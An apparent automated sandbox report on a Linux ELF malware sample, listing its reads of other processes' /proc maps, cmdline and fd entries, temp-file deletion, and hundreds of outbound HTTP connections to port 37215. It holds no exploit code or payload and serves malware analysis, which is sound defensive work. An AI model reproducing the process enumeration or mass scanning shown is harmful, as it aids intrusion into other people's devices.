Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3120/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3361/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3239/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1577/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1610/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/1299/fd/	Jump to behavior

Source: /usr/bin/dash (PID: 5468)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.rshxAsAjaq /tmp/tmp.emOqkb3j1B /tmp/tmp.DwXHnS1qU9			Jump to behavior
Source: /usr/bin/dash (PID: 5469)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.rshxAsAjaq /tmp/tmp.emOqkb3j1B /tmp/tmp.DwXHnS1qU9			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 32832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 37215
